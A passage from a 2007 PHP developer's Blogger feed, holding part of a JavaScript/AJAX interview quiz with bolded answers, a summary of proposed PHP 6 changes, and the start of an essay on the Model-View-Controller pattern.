-0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Shift&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Slice&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;D.&lt;span&gt;  &lt;/span&gt;Splice&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;36.&lt;span&gt;  &lt;/span&gt;To set up the window to capture all Click events, we use which of the following statement? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;window.captureEvents(Event.CLICK);&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;window.handleEvents (Event.CLICK);&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;window.routeEvents(Event.CLICK );&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;window.raiseEvents(Event.CLICK );&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;37.&lt;span&gt;  &lt;/span&gt;Which tag(s) can handle mouse events in Netscape? &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;&amp;lt;IMG&amp;gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;&amp;lt;A&amp;gt;&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;&amp;lt;BR&amp;gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;38.&lt;span&gt;  &lt;/span&gt;____________ is the tainted property of a window object. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Pathname &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Protocol&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;Defaultstatus &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Host&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;39.&lt;span&gt;  &lt;/span&gt;To enable data tainting, the end user sets the _________ environment variable. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;ENABLE_TAINT &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;MS_ENABLE_TAINT &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;NS_ENABLE_TAINT &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;ENABLE_TAINT_NS &lt;/p&gt;&lt;br /&gt;40.&lt;span&gt;  &lt;/span&gt;In JavaScript, _________ is an object of the target language data type that encloses an object of the source language.&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;a wrapper&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;a link&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;a cursor&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;a form&lt;/p&gt;&lt;br /&gt;41.&lt;span&gt;  &lt;/span&gt;When a JavaScript object is sent to Java, the runtime engine creates a Java wrapper of type ___________&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;ScriptObject &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;JSObject&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;JavaObject&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Jobject&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in; text-align: justify;"&gt;42.&lt;span&gt;  &lt;/span&gt;_______ class provides an interface for invoking JavaScript methods and examining JavaScript properties. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;ScriptObject &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;JSObject&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;JavaObject&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Jobject&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;43.&lt;span&gt;  &lt;/span&gt;_________ is a wrapped Java array, accessed from within JavaScript code. &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;JavaArray&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;JavaClass&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;JavaObject&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;JavaPackage&lt;/p&gt;&lt;span&gt;                &lt;/span&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in; text-align: justify;"&gt;44. A ________ object is a reference to one of the classes in a Java package, such as netscape.javascript .&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;JavaArray &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;JavaClass&lt;/b&gt; &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;JavaObject&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;JavaPackage&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;45.&lt;span&gt;  &lt;/span&gt;The JavaScript exception is available to the Java code as an instance of __________ &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;netscape.javascript.JSObject &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;B.&lt;span&gt;  &lt;/span&gt;netscape.javascript.JSException &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;netscape.plugin.JSException &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;None of the above &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.25in; text-indent: -0.25in; text-align: justify;"&gt;46. To automatically open the console when a JavaScript error occurs which of the following is added to prefs.js?&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;user_pref(" javascript.console.open_on&lt;wbr&gt;_error", false);&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;user_pref("javascript.console.open_error ", true);&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;user_pref("javascript.console.open_error ", false);&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;D.&lt;span&gt;   user_pref("javascript.console.open_on&lt;wbr&gt;_error", true);&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;47.&lt;span&gt;  &lt;/span&gt;To open a dialog box each time an error occurs, which of the following is added to prefs.js?&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;user_pref("javascript.classic.error_alerts", true);&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;user_pref("javascript.classic.error_alerts ", false);&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;user_pref("javascript.console.open_on&lt;wbr&gt;_error ", true);&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;user_pref("javascript.console.open_on&lt;wbr&gt;_error ", false);&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;48.&lt;span&gt;  &lt;/span&gt;The syntax of a blur method in a button object is ______________ &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;A.&lt;span&gt;  &lt;/span&gt;Blur()&lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Blur(contrast) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Blur(value)&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;Blur(depth)&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;49.&lt;span&gt;  &lt;/span&gt;The syntax of capture events method for document object is ______________ &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;captureEvents() &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;captureEvents(args eventType) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;C.&lt;span&gt;  &lt;/span&gt;captureEvents(eventType) &lt;/b&gt;&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;D.&lt;span&gt;  &lt;/span&gt;captureEvents(eventVal) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt;"&gt;50.&lt;span&gt;  &lt;/span&gt;The syntax of close method for document object is ______________ &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;A.&lt;span&gt;  &lt;/span&gt;Close(doc) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;B.&lt;span&gt;   &lt;/span&gt;Close(object) &lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;C.&lt;span&gt;  &lt;/span&gt;Close(val)&lt;/p&gt;&lt;br /&gt;&lt;p style="margin: 0in 0in 0pt 0.75in; text-indent: -0.25in;"&gt;&lt;b&gt;D.&lt;span&gt;  &lt;/span&gt;Close()&lt;/b&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-4406294826064131694?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/4406294826064131694/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=4406294826064131694' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4406294826064131694'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/4406294826064131694'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/09/php-javascript-ajax-interview-questions.html' title='Php, JavaScript &amp; AJAX interview questions'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-6515568813286206218</id><published>2007-08-29T20:19:00.000-07:00</published><updated>2007-08-29T20:21:56.851-07:00</updated><title type='text'>Introduce the PHP 6</title><content type='html'>As you may be aware the core PHP group of developers all met in Paris on November the 11th and 12th 2005. The minutes from the meeting are fascinating reading, but there is a lot to go through. So I've gone through all of the points raised and chewed them over from a developers point of view. Your comments as always are welcome.                           &lt;p&gt;Before I get started however I'd just like to make one thing very clear: what you read here (or in the original minutes) are in no way the 'fully 100% decided' end results / changes that we'll see in PHP6. They will most likely all be discussed further (on internals and wider), but even so we can take the information presented in the minutes as being the PHP teams most 'current' way of thinking about any given subject.&lt;/p&gt;  &lt;h2&gt;Unicode&lt;/h2&gt;  &lt;p&gt;Unicode support at present can be set on a per request basis. This equates to PHP having to store both Unicode and non-Unicode variants of class, method and function names in the symbol tables. In short - it uses up more resources. Their decision is to make the Unicode setting server wide, not request wide. Turning Unicode off where not required can help performance and they quote some string functions as being up to 300% slower and whole applications 25% slower as a result. The decision to move it to the php.ini in my mind does take the control away from the user, and puts it into the hands of the Web Host.&lt;/p&gt;  &lt;p&gt;If you compile PHP yourself or are responsible for this on your servers then you may be interested to know that PHP 6 will require the ICU libs (regardless if Unicode is turned on or off). The build system will bail out if the required ICU libs cannot be found. In a nutshell, you'll have another thing to install if you want to compile PHP.&lt;/p&gt;  &lt;h2&gt;Register Globals to go&lt;/h2&gt;  &lt;p&gt;Say goodbye folks, this one is finally going. It will no longer be an ini file setting, and if found it will raise an E_CORE_ERROR, pointing you to the documentation on why it's "bad". This means that PHP6 will finally break all PHP3 era scripts (or any script using reg globals) with no recourse at all but to re-code it. That's a bold move, but a needed one.&lt;/p&gt;  &lt;h2&gt;Magic Quotes to go&lt;/h2&gt;  &lt;p&gt;The magic quotes feature of PHP will be going, and as with register globals it's going to raise an E_CORE_ERROR if the setting is found anywhere. This will affect magic_quotes, magic_quotes_sybase and magic_quotes_gpc.&lt;/p&gt;  &lt;h2&gt;Safe Mode to go&lt;/h2&gt;  &lt;p&gt;This may please developers who have web hosts that insist upon safe mode! But it will now go totally, again raising an E_CORE_ERROR if found. The reason is that apparently they felt it gave the 'wrong signal', implying that it made PHP secure, when infact it didn't at all. open_basedir will (thankfully) be kept.&lt;/p&gt;  &lt;h2&gt;'var' to alias 'public'&lt;/h2&gt;  &lt;p&gt;PHP4 used 'var' within classes. PHP5 (in its OO move) caused this to raise a warning under E_STRICT. This warning will be removed in PHP6 and instead 'var' will mean the same thing as 'public'. This is a nice move but I if anyone has updated their scripts to work under E_STRICT in PHP5 it will be a redundant one for them.&lt;/p&gt;  &lt;h2&gt;Return by Reference will error&lt;/h2&gt;  &lt;p&gt;Both '$foo =&amp; new StdClass()' and 'function &amp;amp;foo' will now raise an E_STRICT error.&lt;/p&gt;  &lt;h2&gt;zend.ze1 compatbility mode to go&lt;/h2&gt;  &lt;p&gt;ze1 always tried to retain old PHP4 behaviour, but apparently it "doesn't work 100%" anyway, so it will be removed totally and throw an E_CORE_ERROR if detected.&lt;/p&gt;  &lt;h2&gt;Freetype 1 and GD 1 support to go&lt;/h2&gt;  &lt;p&gt;Support for both of these (very very old) libs will be removed.&lt;/p&gt;  &lt;h2&gt;dl() moves to SAPI only&lt;/h2&gt;  &lt;p&gt;Each SAPI will register the use of this function as required, only the CLI and embed SAPIs will do this from now on. It will not be available elsewhere.&lt;/p&gt;  &lt;h2&gt;FastCGI always on&lt;/h2&gt;  &lt;p&gt;The FastCGI code will be cleaned up and always enabled for the CGI SAPI, it will not be able to be disabled.&lt;/p&gt;  &lt;h2&gt;Register Long Arrays to go&lt;/h2&gt;  &lt;p&gt;Remember the HTTP_*_VARS globals from yesteryear? Well if you're not already using $_GET, $_POST, etc - start doing so now, because the option to enable long arrays is going (and will throw an E_CORE_ERROR).&lt;/p&gt;  &lt;h2&gt;Extension Movements&lt;/h2&gt;  &lt;p&gt;The XMLReader and XMLWriter extensions will move into the core distribution and will be on by default.&lt;/p&gt;  &lt;p&gt;The ereg extension will move to PECL (and thus be removed from PHP). This means that PCRE will not be allowed to be disabled. This will make way for the new regular expression extension based on ICU.&lt;/p&gt;  &lt;p&gt;The extremely useful Fileinfo exntesion will move into the core distribution and enabled by default.&lt;/p&gt;  &lt;h2&gt;PHP Engine Additions&lt;/h2&gt;  &lt;p&gt;&lt;strong&gt;64 bit integers&lt;/strong&gt;&lt;br /&gt;A new 64 bit integer will be added (int64). There will be no int32 (it is assumed unless you specify int64)&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Goto&lt;/strong&gt;&lt;br /&gt;No 'goto' command will be added, but the break keyword will be extended with a static label - so you could do 'break foo' and it'll jump to the label foo: in your code.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;ifsetor()&lt;/strong&gt;&lt;br /&gt;It looks like we won't be seeing this one, which is a shame. But instead the ?: operator will have the 'middle parameter' requirement dropped, which means you'd be able to do something like this: "$foo = $_GET['foo'] ?: 42;" (i.e. if foo is true, $foo will equal 42). This should save some code, but I personally don't think it is as 'readable' as ifsetor would have been.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;foreach multi-dim arrays&lt;/strong&gt;&lt;br /&gt;This is a nice change - you'll be able to foreach through array lists, i.e. "foreach( $a as $k =&gt; list($a, $b))".&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;{} vs []&lt;/strong&gt;&lt;br /&gt;You can currently use both {} and [] to access string indexes. But the {} notation will raise an E_STRICT in PHP5.1 and will be gone totally in PHP6. Also the [] version will gain substr and array_slice functionality directly - so you could do "[2,]" to access characters 2 to the end, etc. Very handy.&lt;/p&gt;  &lt;h2&gt;OO changes&lt;/h2&gt;  &lt;p&gt;&lt;strong&gt;Static Binding&lt;/strong&gt;&lt;br /&gt;A new keyword will be created to allow for late static binding - static::static2(), this will perform runtime evaluation of statics.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Namespaces&lt;/strong&gt;&lt;br /&gt;It looks like this one is still undecided - if they do implement namespaces it will be using their style only. My advice? Don't hold your breath!&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Type-hinted Return Values&lt;/strong&gt;&lt;br /&gt;Although they decided against allowing type-hinted properties (becaue it's "not the PHP way") they will add support for type-hinted return values, but have yet to decide on a syntax for this. Even so, it will be a nice addition.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Calling dynamic functions as static will E_FATAL&lt;/strong&gt;&lt;br /&gt;At the moment you can call both static and dynamic methods, whether they are static or not. Calling a dynamic function with the static call syntax will raise an E_FATAL.&lt;/p&gt;  &lt;h2&gt;Additions to PHP&lt;/h2&gt;  &lt;p&gt;&lt;strong&gt;APC to be in the core distribution&lt;/strong&gt;&lt;br /&gt;The opcode cache APC will be included in the core distribution of PHP as standard, it will not however be turned on by default (but having it there saves the compilation of yet another thing on your server, and web hosts are more likely to allow it to be enabled)&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Hardened PHP patch&lt;/strong&gt;&lt;br /&gt;This patch implements a bunch of extra security checks in PHP. They went over it and the following changes will now take place within PHP: Protection against HTTP Response Splitting will be included. allow_url_fopen will be split into two: allow_url_fopen and allow_url_include. allow_url_fopen will be enabled by default. allow_url_include will be disabled by default.&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;E_STRICT merges into E_ALL&lt;/strong&gt;&lt;br /&gt;Wow, this is quite a serious one! E_STRICT level messages will be added to E_ALL by default. This shows a marked move by the PHP team to educate developers on 'best practises' and displaying language-level warnings in a "Hey, you're doing it the wrong way".&lt;/p&gt;  &lt;p&gt;&lt;strong&gt;Farewell&lt;/strong&gt;&lt;br /&gt;They will remove support for the ASP style tags, but the PHP short-code tag will remain (&lt;?) - so to those on php general who reckon the short-tag is 'depreceated' - hah! &lt;img src="http://www.corephp.co.uk/templates/default/img/emoticons/wink.png" alt=";-)" style="display: inline; vertical-align: bottom;" class="emoticon" /&gt;&lt;/p&gt;  &lt;h2&gt;Conclusion&lt;/h2&gt;  &lt;p&gt;PHP6 is taking an interesting move in my mind - it's as if the PHP developers want to now educate developers about the right way to code something, and remove those lingering issues with "Well you SHOULD be doing it this way, but you can still do it the old way". This will not be the case any longer. Removing totally the likes of register globals, magic quotes, long arrays, {} string indexes and call-time-pass-by-references will force developers to clean up their code.&lt;/p&gt;  &lt;p&gt;It will also break a crapload of scripts beyond repair that doesn't involve some serious re-writing. Is this a bad thing? I don't think so myself, but I see it making the adoption of PHP6 even slower than that of PHP5, which is a real shame. However they have to leap this hurdle at some point, and once they've done it progression to future versions &lt;em&gt;should&lt;/em&gt; be swifter.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3778689083063619753-6515568813286206218?l=jigneshbhalodia.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jigneshbhalodia.blogspot.com/feeds/6515568813286206218/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3778689083063619753&amp;postID=6515568813286206218' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/6515568813286206218'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3778689083063619753/posts/default/6515568813286206218'/><link rel='alternate' type='text/html' href='http://jigneshbhalodia.blogspot.com/2007/08/introduce-php-6.html' title='Introduce the PHP 6'/><author><name>Jignesh Bhalodia PHP Developer</name><uri>http://www.blogger.com/profile/12349527738329357029</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3778689083063619753.post-4630676866600672182</id><published>2007-08-29T20:02:00.000-07:00</published><updated>2007-08-29T20:18:14.480-07:00</updated><title type='text'>Model View Controller</title><content type='html'>&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt;"&gt;    The Model View Controller pattern is popular for organizing Web applications. Yet, there is quite a bit of confusion surrounding MVC. What exactly is it? Whatever it is, it must be good. Like object orientation, MVC seems to have earned a halo. It has a reputation for being a good design practice. Therefore, in a strange twist of logic, anyone who creates a good design must be using MVC, right? Much like good practices that have nothing to do with objects are lumped under that general term, good practices that have little to do with MVC are lumped under that term. A precise definition of MVC is probably impossible.&lt;o:p&gt; &lt;/o:p&gt;   &lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt;"&gt;    That said, we do have an historical record to fall back on. MVC was introduced as a graphical user interface organizational principle in Smalltalk in the mid-70s. A later paper, “Applications Programming in Smalltalk-80: How to use Model-View-Controller MVC,” describes the Smalltalk implementation. From this and other papers dating from the early Smalltalk years, we can gain insight into the original intent of the MVC pattern.&lt;br /&gt;The original intent of the MVC pattern was to structure an application with a user interface in order to make certain kinds of changes easier. As I discussed in my first column, “Organizing for Change”, it can be a good idea to segregate different kinds of code in an application, based on the changes that one is likely to make for programs with user interfaces, it is generally considered a good idea to separate the user interface related code from the domain-related code. This is because those kinds of code tend to change for different reasons and at different times. Separating the two allows the programmer to make a change in one without having to touch the other.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;          &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt;"&gt;    Separating the user interface from the domain logic also allows one implementation to be swapped with another. Different views and controllers can be substituted to provide alternate user interfaces for the same model. For example, the same model data can be displayed as a bar graph, or a pie chart, or a spreadsheet. But wait! The Model View Controller pattern has three segments. To separate the user interface from the do-main logic, it would seem that only two would be needed. Why three? This goes back to the original metaphor upon which MVC is based. Conceptually, MVC is intended to replicate an abstract data processing model. In that model, data is fed into a computer as input. A processor uses that data to perform some task. Then some kind of output is produced. Notice that there are three stages in that process. These three stages correspond to the model, view, and controller segmentation of the MVC pattern. Perhaps the most obvious correspondence is the view. This is obviously the output portion of the program. Working back from the end of the process, the model segment of the program corresponds to the processing component. Unfortunately, when may people think of the word ’model’, they think of data, nouns and structure. In MVC, ’model’ corresponds to ’processor’. You should also think in terms of verbs when you think of the model. The model is where the stuff gets done that the program is designed to do. The remaining segment, and the one that seems most confusing, is the controller. The controller corresponds to the input phase of our data processing abstraction. It receives input and translates that input to requests on the model or the view. Why is the controller so confusing? Well, if your model is verb shy, you have to put the behavioral aspect of your domain logic somewhere. Often people will separate out the view or output logic, separate out the data storage logic, and then consider that anything else left must be the controller, right? Well, no. You see, while MVC is a way of separating the user interface from the domain logic, not every way of achieving this separation is MVC. Not every method of structuring a user interface is MVC. In Smalltalk MVC, the idea of having a separate controller layer for input allows an input method to be changed without changing either the view or the model. For example, in a spreadsheet program, a different controller would handle mouse input or handle keyboard input, but the model and view objects would be the same. Fair enough, but how many times in a Web application do you want to swap out input methods without also changing the corresponding output? There is a strong coupling between the input and output methods of a program. It can be hard to change one without changing the other. Another common UI organization pattern is called Document/View. Document/View collapses the input and output layers of MVC into a single view layer. Document/View is a good way of separating your user interface from domain logic, but it is not MVC. We pay a price for dividing our applications into three&lt;o:p&gt; Parts.&lt;br /&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;  &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt; color: rgb(211, 35, 42);"&gt;The Model&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;      &lt;p class="MsoNormal" style="text-align: justify;"&gt;&lt;span style="font-size: 14pt; color: black;"&gt;The model encapsulates the functional core of an 